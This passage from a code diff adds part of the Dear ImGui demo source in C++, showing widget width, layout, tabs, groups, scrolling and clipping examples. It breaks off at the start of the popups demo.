ImGui::PopItemWidth(); + + ImGui::Text("SetNextItemWidth/PushItemWidth(-GetContentRegionAvail().x * 0.5f)"); + ImGui::SameLine(); HelpMarker("Align to right edge minus half"); + ImGui::PushItemWidth(-ImGui::GetContentRegionAvail().x * 0.5f); + ImGui::DragFloat("float##4a", &f); + if (show_indented_items) + { + ImGui::Indent(); + ImGui::DragFloat("float (indented)##4b", &f); + ImGui::Unindent(); + } + ImGui::PopItemWidth(); + + // Demonstrate using PushItemWidth to surround three items. + // Calling SetNextItemWidth() before each of them would have the same effect. + ImGui::Text("SetNextItemWidth/PushItemWidth(-FLT_MIN)"); + ImGui::SameLine(); HelpMarker("Align to right edge"); + ImGui::PushItemWidth(-FLT_MIN); + ImGui::DragFloat("##float5a", &f); + if (show_indented_items) + { + ImGui::Indent(); + ImGui::DragFloat("float (indented)##5b", &f); + ImGui::Unindent(); + } + ImGui::PopItemWidth(); + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Basic Horizontal Layout")) + { + ImGui::TextWrapped("(Use ImGui::SameLine() to keep adding items to the right of the preceding item)"); + + // Text + ImGui::Text("Two items: Hello"); ImGui::SameLine(); + ImGui::TextColored(ImVec4(1,1,0,1), "Sailor"); + + // Adjust spacing + ImGui::Text("More spacing: Hello"); ImGui::SameLine(0, 20); + ImGui::TextColored(ImVec4(1,1,0,1), "Sailor"); + + // Button + ImGui::AlignTextToFramePadding(); + ImGui::Text("Normal buttons"); ImGui::SameLine(); + ImGui::Button("Banana"); ImGui::SameLine(); + ImGui::Button("Apple"); ImGui::SameLine(); + ImGui::Button("Corniflower"); + + // Button + ImGui::Text("Small buttons"); ImGui::SameLine(); + ImGui::SmallButton("Like this one"); ImGui::SameLine(); + ImGui::Text("can fit within a text block."); + + // Aligned to arbitrary position. Easy/cheap column. + ImGui::Text("Aligned"); + ImGui::SameLine(150); ImGui::Text("x=150"); + ImGui::SameLine(300); ImGui::Text("x=300"); + ImGui::Text("Aligned"); + ImGui::SameLine(150); ImGui::SmallButton("x=150"); + ImGui::SameLine(300); ImGui::SmallButton("x=300"); + + // Checkbox + static bool c1 = false, c2 = false, c3 = false, c4 = false; + ImGui::Checkbox("My", &c1); ImGui::SameLine(); + ImGui::Checkbox("Tailor", &c2); ImGui::SameLine(); + ImGui::Checkbox("Is", &c3); ImGui::SameLine(); + ImGui::Checkbox("Rich", &c4); + + // Various + static float f0 = 1.0f, f1 = 2.0f, f2 = 3.0f; + ImGui::PushItemWidth(80); + const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD" }; + static int item = -1; + ImGui::Combo("Combo", &item, items, IM_ARRAYSIZE(items)); ImGui::SameLine(); + ImGui::SliderFloat("X", &f0, 0.0f, 5.0f); ImGui::SameLine(); + ImGui::SliderFloat("Y", &f1, 0.0f, 5.0f); ImGui::SameLine(); + ImGui::SliderFloat("Z", &f2, 0.0f, 5.0f); + ImGui::PopItemWidth(); + + ImGui::PushItemWidth(80); + ImGui::Text("Lists:"); + static int selection[4] = { 0, 1, 2, 3 }; + for (int i = 0; i < 4; i++) + { + if (i > 0) ImGui::SameLine(); + ImGui::PushID(i); + ImGui::ListBox("", &selection[i], items, IM_ARRAYSIZE(items)); + ImGui::PopID(); + //if (ImGui::IsItemHovered()) ImGui::SetTooltip("ListBox %d hovered", i); + } + ImGui::PopItemWidth(); + + // Dummy + ImVec2 button_sz(40, 40); + ImGui::Button("A", button_sz); ImGui::SameLine(); + ImGui::Dummy(button_sz); ImGui::SameLine(); + ImGui::Button("B", button_sz); + + // Manually wrapping + // (we should eventually provide this as an automatic layout feature, but for now you can do it manually) + ImGui::Text("Manually wrapping:"); + ImGuiStyle& style = ImGui::GetStyle(); + int buttons_count = 20; + float window_visible_x2 = ImGui::GetWindowPos().x + ImGui::GetWindowContentRegionMax().x; + for (int n = 0; n < buttons_count; n++) + { + ImGui::PushID(n); + ImGui::Button("Box", button_sz); + float last_button_x2 = ImGui::GetItemRectMax().x; + float next_button_x2 = last_button_x2 + style.ItemSpacing.x + button_sz.x; // Expected position if next button was on same line + if (n + 1 < buttons_count && next_button_x2 < window_visible_x2) + ImGui::SameLine(); + ImGui::PopID(); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Tabs")) + { + if (ImGui::TreeNode("Basic")) + { + ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_None; + if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags)) + { + if (ImGui::BeginTabItem("Avocado")) + { + ImGui::Text("This is the Avocado tab!\nblah blah blah blah blah"); + ImGui::EndTabItem(); + } + if (ImGui::BeginTabItem("Broccoli")) + { + ImGui::Text("This is the Broccoli tab!\nblah blah blah blah blah"); + ImGui::EndTabItem(); + } + if (ImGui::BeginTabItem("Cucumber")) + { + ImGui::Text("This is the Cucumber tab!\nblah blah blah blah blah"); + ImGui::EndTabItem(); + } + ImGui::EndTabBar(); + } + ImGui::Separator(); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Advanced & Close Button")) + { + // Expose a couple of the available flags. In most cases you may just call BeginTabBar() with no flags (0). + static ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_Reorderable; + ImGui::CheckboxFlags("ImGuiTabBarFlags_Reorderable", &tab_bar_flags, ImGuiTabBarFlags_Reorderable); + ImGui::CheckboxFlags("ImGuiTabBarFlags_AutoSelectNewTabs", &tab_bar_flags, ImGuiTabBarFlags_AutoSelectNewTabs); + ImGui::CheckboxFlags("ImGuiTabBarFlags_TabListPopupButton", &tab_bar_flags, ImGuiTabBarFlags_TabListPopupButton); + ImGui::CheckboxFlags("ImGuiTabBarFlags_NoCloseWithMiddleMouseButton", &tab_bar_flags, ImGuiTabBarFlags_NoCloseWithMiddleMouseButton); + if ((tab_bar_flags & ImGuiTabBarFlags_FittingPolicyMask_) == 0) + tab_bar_flags |= ImGuiTabBarFlags_FittingPolicyDefault_; + if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyResizeDown", &tab_bar_flags, ImGuiTabBarFlags_FittingPolicyResizeDown)) + tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyResizeDown); + if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyScroll", &tab_bar_flags, ImGuiTabBarFlags_FittingPolicyScroll)) + tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyScroll); + + // Tab Bar + const char* names[4] = { "Artichoke", "Beetroot", "Celery", "Daikon" }; + static bool opened[4] = { true, true, true, true }; // Persistent user state + for (int n = 0; n < IM_ARRAYSIZE(opened); n++) + { + if (n > 0) { ImGui::SameLine(); } + ImGui::Checkbox(names[n], &opened[n]); + } + + // Passing a bool* to BeginTabItem() is similar to passing one to Begin(): + // the underlying bool will be set to false when the tab is closed. + if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags)) + { + for (int n = 0; n < IM_ARRAYSIZE(opened); n++) + if (opened[n] && ImGui::BeginTabItem(names[n], &opened[n], ImGuiTabItemFlags_None)) + { + ImGui::Text("This is the %s tab!", names[n]); + if (n & 1) + ImGui::Text("I am an odd tab."); + ImGui::EndTabItem(); + } + ImGui::EndTabBar(); + } + ImGui::Separator(); + ImGui::TreePop(); + } + + if (ImGui::TreeNode("TabItemButton & Leading/Trailing flags")) + { + static ImVector active_tabs; + static int next_tab_id = 0; + if (next_tab_id == 0) // Initialize with some default tabs + for (int i = 0; i < 3; i++) + active_tabs.push_back(next_tab_id++); + + // TabItemButton() and Leading/Trailing flags are distinct features which we will demo together. + // (It is possible to submit regular tabs with Leading/Trailing flags, or TabItemButton tabs without Leading/Trailing flags... + // but they tend to make more sense together) + static bool show_leading_button = true; + static bool show_trailing_button = true; + ImGui::Checkbox("Show Leading TabItemButton()", &show_leading_button); + ImGui::Checkbox("Show Trailing TabItemButton()", &show_trailing_button); + + // Expose some other flags which are useful to showcase how they interact with Leading/Trailing tabs + static ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_AutoSelectNewTabs | ImGuiTabBarFlags_Reorderable | ImGuiTabBarFlags_FittingPolicyResizeDown; + ImGui::CheckboxFlags("ImGuiTabBarFlags_TabListPopupButton", &tab_bar_flags, ImGuiTabBarFlags_TabListPopupButton); + if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyResizeDown", &tab_bar_flags, ImGuiTabBarFlags_FittingPolicyResizeDown)) + tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyResizeDown); + if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyScroll", &tab_bar_flags, ImGuiTabBarFlags_FittingPolicyScroll)) + tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyScroll); + + if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags)) + { + // Demo a Leading TabItemButton(): click the "?" button to open a menu + if (show_leading_button) + if (ImGui::TabItemButton("?", ImGuiTabItemFlags_Leading | ImGuiTabItemFlags_NoTooltip)) + ImGui::OpenPopup("MyHelpMenu"); + if (ImGui::BeginPopup("MyHelpMenu")) + { + ImGui::Selectable("Hello!"); + ImGui::EndPopup(); + } + + // Demo Trailing Tabs: click the "+" button to add a new tab (in your app you may want to use a font icon instead of the "+") + // Note that we submit it before the regular tabs, but because of the ImGuiTabItemFlags_Trailing flag it will always appear at the end. + if (show_trailing_button) + if (ImGui::TabItemButton("+", ImGuiTabItemFlags_Trailing | ImGuiTabItemFlags_NoTooltip)) + active_tabs.push_back(next_tab_id++); // Add new tab + + // Submit our regular tabs + for (int n = 0; n < active_tabs.Size; ) + { + bool open = true; + char name[16]; + snprintf(name, IM_ARRAYSIZE(name), "%04d", active_tabs[n]); + if (ImGui::BeginTabItem(name, &open, ImGuiTabItemFlags_None)) + { + ImGui::Text("This is the %s tab!", name); + ImGui::EndTabItem(); + } + + if (!open) + active_tabs.erase(active_tabs.Data + n); + else + n++; + } + + ImGui::EndTabBar(); + } + ImGui::Separator(); + ImGui::TreePop(); + } + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Groups")) + { + HelpMarker( + "BeginGroup() basically locks the horizontal position for new line. " + "EndGroup() bundles the whole group so that you can use \"item\" functions such as " + "IsItemHovered()/IsItemActive() or SameLine() etc. on the whole group."); + ImGui::BeginGroup(); + { + ImGui::BeginGroup(); + ImGui::Button("AAA"); + ImGui::SameLine(); + ImGui::Button("BBB"); + ImGui::SameLine(); + ImGui::BeginGroup(); + ImGui::Button("CCC"); + ImGui::Button("DDD"); + ImGui::EndGroup(); + ImGui::SameLine(); + ImGui::Button("EEE"); + ImGui::EndGroup(); + if (ImGui::IsItemHovered()) + ImGui::SetTooltip("First group hovered"); + } + // Capture the group size and create widgets using the same size + ImVec2 size = ImGui::GetItemRectSize(); + const float values[5] = { 0.5f, 0.20f, 0.80f, 0.60f, 0.25f }; + ImGui::PlotHistogram("##values", values, IM_ARRAYSIZE(values), 0, NULL, 0.0f, 1.0f, size); + + ImGui::Button("ACTION", ImVec2((size.x - ImGui::GetStyle().ItemSpacing.x) * 0.5f, size.y)); + ImGui::SameLine(); + ImGui::Button("REACTION", ImVec2((size.x - ImGui::GetStyle().ItemSpacing.x) * 0.5f, size.y)); + ImGui::EndGroup(); + ImGui::SameLine(); + + ImGui::Button("LEVERAGE\nBUZZWORD", size); + ImGui::SameLine(); + + if (ImGui::ListBoxHeader("List", size)) + { + ImGui::Selectable("Selected", true); + ImGui::Selectable("Not Selected", false); + ImGui::ListBoxFooter(); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Text Baseline Alignment")) + { + { + ImGui::BulletText("Text baseline:"); + ImGui::SameLine(); HelpMarker( + "This is testing the vertical alignment that gets applied on text to keep it aligned with widgets. " + "Lines only composed of text or \"small\" widgets use less vertical space than lines with framed widgets."); + ImGui::Indent(); + + ImGui::Text("KO Blahblah"); ImGui::SameLine(); + ImGui::Button("Some framed item"); ImGui::SameLine(); + HelpMarker("Baseline of button will look misaligned with text.."); + + // If your line starts with text, call AlignTextToFramePadding() to align text to upcoming widgets. + // (because we don't know what's coming after the Text() statement, we need to move the text baseline + // down by FramePadding.y ahead of time) + ImGui::AlignTextToFramePadding(); + ImGui::Text("OK Blahblah"); ImGui::SameLine(); + ImGui::Button("Some framed item"); ImGui::SameLine(); + HelpMarker("We call AlignTextToFramePadding() to vertically align the text baseline by +FramePadding.y"); + + // SmallButton() uses the same vertical padding as Text + ImGui::Button("TEST##1"); ImGui::SameLine(); + ImGui::Text("TEST"); ImGui::SameLine(); + ImGui::SmallButton("TEST##2"); + + // If your line starts with text, call AlignTextToFramePadding() to align text to upcoming widgets. + ImGui::AlignTextToFramePadding(); + ImGui::Text("Text aligned to framed item"); ImGui::SameLine(); + ImGui::Button("Item##1"); ImGui::SameLine(); + ImGui::Text("Item"); ImGui::SameLine(); + ImGui::SmallButton("Item##2"); ImGui::SameLine(); + ImGui::Button("Item##3"); + + ImGui::Unindent(); + } + + ImGui::Spacing(); + + { + ImGui::BulletText("Multi-line text:"); + ImGui::Indent(); + ImGui::Text("One\nTwo\nThree"); ImGui::SameLine(); + ImGui::Text("Hello\nWorld"); ImGui::SameLine(); + ImGui::Text("Banana"); + + ImGui::Text("Banana"); ImGui::SameLine(); + ImGui::Text("Hello\nWorld"); ImGui::SameLine(); + ImGui::Text("One\nTwo\nThree"); + + ImGui::Button("HOP##1"); ImGui::SameLine(); + ImGui::Text("Banana"); ImGui::SameLine(); + ImGui::Text("Hello\nWorld"); ImGui::SameLine(); + ImGui::Text("Banana"); + + ImGui::Button("HOP##2"); ImGui::SameLine(); + ImGui::Text("Hello\nWorld"); ImGui::SameLine(); + ImGui::Text("Banana"); + ImGui::Unindent(); + } + + ImGui::Spacing(); + + { + ImGui::BulletText("Misc items:"); + ImGui::Indent(); + + // SmallButton() sets FramePadding to zero. Text baseline is aligned to match baseline of previous Button. + ImGui::Button("80x80", ImVec2(80, 80)); + ImGui::SameLine(); + ImGui::Button("50x50", ImVec2(50, 50)); + ImGui::SameLine(); + ImGui::Button("Button()"); + ImGui::SameLine(); + ImGui::SmallButton("SmallButton()"); + + // Tree + const float spacing = ImGui::GetStyle().ItemInnerSpacing.x; + ImGui::Button("Button##1"); + ImGui::SameLine(0.0f, spacing); + if (ImGui::TreeNode("Node##1")) + { + // Placeholder tree data + for (int i = 0; i < 6; i++) + ImGui::BulletText("Item %d..", i); + ImGui::TreePop(); + } + + // Vertically align text node a bit lower so it'll be vertically centered with upcoming widget. + // Otherwise you can use SmallButton() (smaller fit). + ImGui::AlignTextToFramePadding(); + + // Common mistake to avoid: if we want to SameLine after TreeNode we need to do it before we add + // other contents below the node. + bool node_open = ImGui::TreeNode("Node##2"); + ImGui::SameLine(0.0f, spacing); ImGui::Button("Button##2"); + if (node_open) + { + // Placeholder tree data + for (int i = 0; i < 6; i++) + ImGui::BulletText("Item %d..", i); + ImGui::TreePop(); + } + + // Bullet + ImGui::Button("Button##3"); + ImGui::SameLine(0.0f, spacing); + ImGui::BulletText("Bullet text"); + + ImGui::AlignTextToFramePadding(); + ImGui::BulletText("Node"); + ImGui::SameLine(0.0f, spacing); ImGui::Button("Button##4"); + ImGui::Unindent(); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Scrolling")) + { + // Vertical scroll functions + HelpMarker("Use SetScrollHereY() or SetScrollFromPosY() to scroll to a given vertical position."); + + static int track_item = 50; + static bool enable_track = true; + static bool enable_extra_decorations = false; + static float scroll_to_off_px = 0.0f; + static float scroll_to_pos_px = 200.0f; + + ImGui::Checkbox("Decoration", &enable_extra_decorations); + + ImGui::Checkbox("Track", &enable_track); + ImGui::PushItemWidth(100); + ImGui::SameLine(140); enable_track |= ImGui::DragInt("##item", &track_item, 0.25f, 0, 99, "Item = %d"); + + bool scroll_to_off = ImGui::Button("Scroll Offset"); + ImGui::SameLine(140); scroll_to_off |= ImGui::DragFloat("##off", &scroll_to_off_px, 1.00f, 0, FLT_MAX, "+%.0f px"); + + bool scroll_to_pos = ImGui::Button("Scroll To Pos"); + ImGui::SameLine(140); scroll_to_pos |= ImGui::DragFloat("##pos", &scroll_to_pos_px, 1.00f, -10, FLT_MAX, "X/Y = %.0f px"); + ImGui::PopItemWidth(); + + if (scroll_to_off || scroll_to_pos) + enable_track = false; + + ImGuiStyle& style = ImGui::GetStyle(); + float child_w = (ImGui::GetContentRegionAvail().x - 4 * style.ItemSpacing.x) / 5; + if (child_w < 1.0f) + child_w = 1.0f; + ImGui::PushID("##VerticalScrolling"); + for (int i = 0; i < 5; i++) + { + if (i > 0) ImGui::SameLine(); + ImGui::BeginGroup(); + const char* names[] = { "Top", "25%", "Center", "75%", "Bottom" }; + ImGui::TextUnformatted(names[i]); + + const ImGuiWindowFlags child_flags = enable_extra_decorations ? ImGuiWindowFlags_MenuBar : 0; + const ImGuiID child_id = ImGui::GetID((void*)(intptr_t)i); + const bool child_is_visible = ImGui::BeginChild(child_id, ImVec2(child_w, 200.0f), true, child_flags); + if (ImGui::BeginMenuBar()) + { + ImGui::TextUnformatted("abc"); + ImGui::EndMenuBar(); + } + if (scroll_to_off) + ImGui::SetScrollY(scroll_to_off_px); + if (scroll_to_pos) + ImGui::SetScrollFromPosY(ImGui::GetCursorStartPos().y + scroll_to_pos_px, i * 0.25f); + if (child_is_visible) // Avoid calling SetScrollHereY when running with culled items + { + for (int item = 0; item < 100; item++) + { + if (enable_track && item == track_item) + { + ImGui::TextColored(ImVec4(1, 1, 0, 1), "Item %d", item); + ImGui::SetScrollHereY(i * 0.25f); // 0.0f:top, 0.5f:center, 1.0f:bottom + } + else + { + ImGui::Text("Item %d", item); + } + } + } + float scroll_y = ImGui::GetScrollY(); + float scroll_max_y = ImGui::GetScrollMaxY(); + ImGui::EndChild(); + ImGui::Text("%.0f/%.0f", scroll_y, scroll_max_y); + ImGui::EndGroup(); + } + ImGui::PopID(); + + // Horizontal scroll functions + ImGui::Spacing(); + HelpMarker( + "Use SetScrollHereX() or SetScrollFromPosX() to scroll to a given horizontal position.\n\n" + "Because the clipping rectangle of most window hides half worth of WindowPadding on the " + "left/right, using SetScrollFromPosX(+1) will usually result in clipped text whereas the " + "equivalent SetScrollFromPosY(+1) wouldn't."); + ImGui::PushID("##HorizontalScrolling"); + for (int i = 0; i < 5; i++) + { + float child_height = ImGui::GetTextLineHeight() + style.ScrollbarSize + style.WindowPadding.y * 2.0f; + ImGuiWindowFlags child_flags = ImGuiWindowFlags_HorizontalScrollbar | (enable_extra_decorations ? ImGuiWindowFlags_AlwaysVerticalScrollbar : 0); + ImGuiID child_id = ImGui::GetID((void*)(intptr_t)i); + bool child_is_visible = ImGui::BeginChild(child_id, ImVec2(-100, child_height), true, child_flags); + if (scroll_to_off) + ImGui::SetScrollX(scroll_to_off_px); + if (scroll_to_pos) + ImGui::SetScrollFromPosX(ImGui::GetCursorStartPos().x + scroll_to_pos_px, i * 0.25f); + if (child_is_visible) // Avoid calling SetScrollHereY when running with culled items + { + for (int item = 0; item < 100; item++) + { + if (enable_track && item == track_item) + { + ImGui::TextColored(ImVec4(1, 1, 0, 1), "Item %d", item); + ImGui::SetScrollHereX(i * 0.25f); // 0.0f:left, 0.5f:center, 1.0f:right + } + else + { + ImGui::Text("Item %d", item); + } + ImGui::SameLine(); + } + } + float scroll_x = ImGui::GetScrollX(); + float scroll_max_x = ImGui::GetScrollMaxX(); + ImGui::EndChild(); + ImGui::SameLine(); + const char* names[] = { "Left", "25%", "Center", "75%", "Right" }; + ImGui::Text("%s\n%.0f/%.0f", names[i], scroll_x, scroll_max_x); + ImGui::Spacing(); + } + ImGui::PopID(); + + // Miscellaneous Horizontal Scrolling Demo + HelpMarker( + "Horizontal scrolling for a window is enabled via the ImGuiWindowFlags_HorizontalScrollbar flag.\n\n" + "You may want to also explicitly specify content width by using SetNextWindowContentWidth() before Begin()."); + static int lines = 7; + ImGui::SliderInt("Lines", &lines, 1, 15); + ImGui::PushStyleVar(ImGuiStyleVar_FrameRounding, 3.0f); + ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2.0f, 1.0f)); + ImVec2 scrolling_child_size = ImVec2(0, ImGui::GetFrameHeightWithSpacing() * 7 + 30); + ImGui::BeginChild("scrolling", scrolling_child_size, true, ImGuiWindowFlags_HorizontalScrollbar); + for (int line = 0; line < lines; line++) + { + // Display random stuff. For the sake of this trivial demo we are using basic Button() + SameLine() + // If you want to create your own time line for a real application you may be better off manipulating + // the cursor position yourself, aka using SetCursorPos/SetCursorScreenPos to position the widgets + // yourself. You may also want to use the lower-level ImDrawList API. + int num_buttons = 10 + ((line & 1) ? line * 9 : line * 3); + for (int n = 0; n < num_buttons; n++) + { + if (n > 0) ImGui::SameLine(); + ImGui::PushID(n + line * 1000); + char num_buf[16]; + sprintf(num_buf, "%d", n); + const char* label = (!(n % 15)) ? "FizzBuzz" : (!(n % 3)) ? "Fizz" : (!(n % 5)) ? "Buzz" : num_buf; + float hue = n * 0.05f; + ImGui::PushStyleColor(ImGuiCol_Button, (ImVec4)ImColor::HSV(hue, 0.6f, 0.6f)); + ImGui::PushStyleColor(ImGuiCol_ButtonHovered, (ImVec4)ImColor::HSV(hue, 0.7f, 0.7f)); + ImGui::PushStyleColor(ImGuiCol_ButtonActive, (ImVec4)ImColor::HSV(hue, 0.8f, 0.8f)); + ImGui::Button(label, ImVec2(40.0f + sinf((float)(line + n)) * 20.0f, 0.0f)); + ImGui::PopStyleColor(3); + ImGui::PopID(); + } + } + float scroll_x = ImGui::GetScrollX(); + float scroll_max_x = ImGui::GetScrollMaxX(); + ImGui::EndChild(); + ImGui::PopStyleVar(2); + float scroll_x_delta = 0.0f; + ImGui::SmallButton("<<"); + if (ImGui::IsItemActive()) + scroll_x_delta = -ImGui::GetIO().DeltaTime * 1000.0f; + ImGui::SameLine(); + ImGui::Text("Scroll from code"); ImGui::SameLine(); + ImGui::SmallButton(">>"); + if (ImGui::IsItemActive()) + scroll_x_delta = +ImGui::GetIO().DeltaTime * 1000.0f; + ImGui::SameLine(); + ImGui::Text("%.0f/%.0f", scroll_x, scroll_max_x); + if (scroll_x_delta != 0.0f) + { + // Demonstrate a trick: you can use Begin to set yourself in the context of another window + // (here we are already out of your child window) + ImGui::BeginChild("scrolling"); + ImGui::SetScrollX(ImGui::GetScrollX() + scroll_x_delta); + ImGui::EndChild(); + } + ImGui::Spacing(); + + static bool show_horizontal_contents_size_demo_window = false; + ImGui::Checkbox("Show Horizontal contents size demo window", &show_horizontal_contents_size_demo_window); + + if (show_horizontal_contents_size_demo_window) + { + static bool show_h_scrollbar = true; + static bool show_button = true; + static bool show_tree_nodes = true; + static bool show_text_wrapped = false; + static bool show_columns = true; + static bool show_tab_bar = true; + static bool show_child = false; + static bool explicit_content_size = false; + static float contents_size_x = 300.0f; + if (explicit_content_size) + ImGui::SetNextWindowContentSize(ImVec2(contents_size_x, 0.0f)); + ImGui::Begin("Horizontal contents size demo window", &show_horizontal_contents_size_demo_window, show_h_scrollbar ? ImGuiWindowFlags_HorizontalScrollbar : 0); + ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(2, 0)); + ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2, 0)); + HelpMarker("Test of different widgets react and impact the work rectangle growing when horizontal scrolling is enabled.\n\nUse 'Metrics->Tools->Show windows rectangles' to visualize rectangles."); + ImGui::Checkbox("H-scrollbar", &show_h_scrollbar); + ImGui::Checkbox("Button", &show_button); // Will grow contents size (unless explicitly overwritten) + ImGui::Checkbox("Tree nodes", &show_tree_nodes); // Will grow contents size and display highlight over full width + ImGui::Checkbox("Text wrapped", &show_text_wrapped);// Will grow and use contents size + ImGui::Checkbox("Columns", &show_columns); // Will use contents size + ImGui::Checkbox("Tab bar", &show_tab_bar); // Will use contents size + ImGui::Checkbox("Child", &show_child); // Will grow and use contents size + ImGui::Checkbox("Explicit content size", &explicit_content_size); + ImGui::Text("Scroll %.1f/%.1f %.1f/%.1f", ImGui::GetScrollX(), ImGui::GetScrollMaxX(), ImGui::GetScrollY(), ImGui::GetScrollMaxY()); + if (explicit_content_size) + { + ImGui::SameLine(); + ImGui::SetNextItemWidth(100); + ImGui::DragFloat("##csx", &contents_size_x); + ImVec2 p = ImGui::GetCursorScreenPos(); + ImGui::GetWindowDrawList()->AddRectFilled(p, ImVec2(p.x + 10, p.y + 10), IM_COL32_WHITE); + ImGui::GetWindowDrawList()->AddRectFilled(ImVec2(p.x + contents_size_x - 10, p.y), ImVec2(p.x + contents_size_x, p.y + 10), IM_COL32_WHITE); + ImGui::Dummy(ImVec2(0, 10)); + } + ImGui::PopStyleVar(2); + ImGui::Separator(); + if (show_button) + { + ImGui::Button("this is a 300-wide button", ImVec2(300, 0)); + } + if (show_tree_nodes) + { + bool open = true; + if (ImGui::TreeNode("this is a tree node")) + { + if (ImGui::TreeNode("another one of those tree node...")) + { + ImGui::Text("Some tree contents"); + ImGui::TreePop(); + } + ImGui::TreePop(); + } + ImGui::CollapsingHeader("CollapsingHeader", &open); + } + if (show_text_wrapped) + { + ImGui::TextWrapped("This text should automatically wrap on the edge of the work rectangle."); + } + if (show_columns) + { + ImGui::Text("Tables:"); + if (ImGui::BeginTable("table", 4, ImGuiTableFlags_Borders)) + { + for (int n = 0; n < 4; n++) + { + ImGui::TableNextColumn(); + ImGui::Text("Width %.2f", ImGui::GetContentRegionAvail().x); + } + ImGui::EndTable(); + } + ImGui::Text("Columns:"); + ImGui::Columns(4); + for (int n = 0; n < 4; n++) + { + ImGui::Text("Width %.2f", ImGui::GetColumnWidth()); + ImGui::NextColumn(); + } + ImGui::Columns(1); + } + if (show_tab_bar && ImGui::BeginTabBar("Hello")) + { + if (ImGui::BeginTabItem("OneOneOne")) { ImGui::EndTabItem(); } + if (ImGui::BeginTabItem("TwoTwoTwo")) { ImGui::EndTabItem(); } + if (ImGui::BeginTabItem("ThreeThreeThree")) { ImGui::EndTabItem(); } + if (ImGui::BeginTabItem("FourFourFour")) { ImGui::EndTabItem(); } + ImGui::EndTabBar(); + } + if (show_child) + { + ImGui::BeginChild("child", ImVec2(0, 0), true); + ImGui::EndChild(); + } + ImGui::End(); + } + + ImGui::TreePop(); + } + + if (ImGui::TreeNode("Clipping")) + { + static ImVec2 size(100.0f, 100.0f); + static ImVec2 offset(30.0f, 30.0f); + ImGui::DragFloat2("size", (float*)&size, 0.5f, 1.0f, 200.0f, "%.0f"); + ImGui::TextWrapped("(Click and drag to scroll)"); + + for (int n = 0; n < 3; n++) + { + if (n > 0) + ImGui::SameLine(); + ImGui::PushID(n); + ImGui::BeginGroup(); // Lock X position + + ImGui::InvisibleButton("##empty", size); + if (ImGui::IsItemActive() && ImGui::IsMouseDragging(ImGuiMouseButton_Left)) + { + offset.x += ImGui::GetIO().MouseDelta.x; + offset.y += ImGui::GetIO().MouseDelta.y; + } + const ImVec2 p0 = ImGui::GetItemRectMin(); + const ImVec2 p1 = ImGui::GetItemRectMax(); + const char* text_str = "Line 1 hello\nLine 2 clip me!"; + const ImVec2 text_pos = ImVec2(p0.x + offset.x, p0.y + offset.y); + ImDrawList* draw_list = ImGui::GetWindowDrawList(); + + switch (n) + { + case 0: + HelpMarker( + "Using ImGui::PushClipRect():\n" + "Will alter ImGui hit-testing logic + ImDrawList rendering.\n" + "(use this if you want your clipping rectangle to affect interactions)"); + ImGui::PushClipRect(p0, p1, true); + draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255)); + draw_list->AddText(text_pos, IM_COL32_WHITE, text_str); + ImGui::PopClipRect(); + break; + case 1: + HelpMarker( + "Using ImDrawList::PushClipRect():\n" + "Will alter ImDrawList rendering only.\n" + "(use this as a shortcut if you are only using ImDrawList calls)"); + draw_list->PushClipRect(p0, p1, true); + draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255)); + draw_list->AddText(text_pos, IM_COL32_WHITE, text_str); + draw_list->PopClipRect(); + break; + case 2: + HelpMarker( + "Using ImDrawList::AddText() with a fine ClipRect:\n" + "Will alter only this specific ImDrawList::AddText() rendering.\n" + "(this is often used internally to avoid altering the clipping rectangle and minimize draw calls)"); + ImVec4 clip_rect(p0.x, p0.y, p1.x, p1.y); // AddText() takes a ImVec4* here so let's convert. + draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255)); + draw_list->AddText(ImGui::GetFont(), ImGui::GetFontSize(), text_pos, IM_COL32_WHITE, text_str, NULL, 0.0f, &clip_rect); + break; + } + ImGui::EndGroup(); + ImGui::PopID(); + } + + ImGui::TreePop(); + } +} + +static void ShowDemoWindowPopups() +{ + if (!ImGui::CollapsingHeader("Popups & Modal windows")) + return; + + // The properties of popups windows are: + // - They block normal mouse hovering detection outside them. (*) + // - Unless modal, they can be closed by clicking anywhere outside them, or by pressing ESCAPE. + // - Their visibility state (~bool) is held internally by Dear ImGui instead of being held by the programmer as + // we are used to with regular Begin() calls. User can manipulate the visibility state by calling OpenPopup(). + // (*) One can use IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup) to bypass it and detect hovering even + // when normally blocked by a popup. + // Those three properties are connected. The library needs to hold their visibility state BECAUSE it can close + // popups at any time. + + // Typical use for regular windows: + // bool my_tool_is_active = false; if (ImGui::Button("Open")) my_tool_is_active = true; [...] if (my_tool_is_active) Begin("My Tool", &my_tool_is_active) { [...] } End(); + // Typical use for popups: + // if (ImGui::Button("Open")) ImGui::OpenPopup("MyPopup"); if (ImGui::BeginPopup("MyPopup") { [...] EndPopup(); } + + // With popups we have to go through a library call (here OpenPopup) to 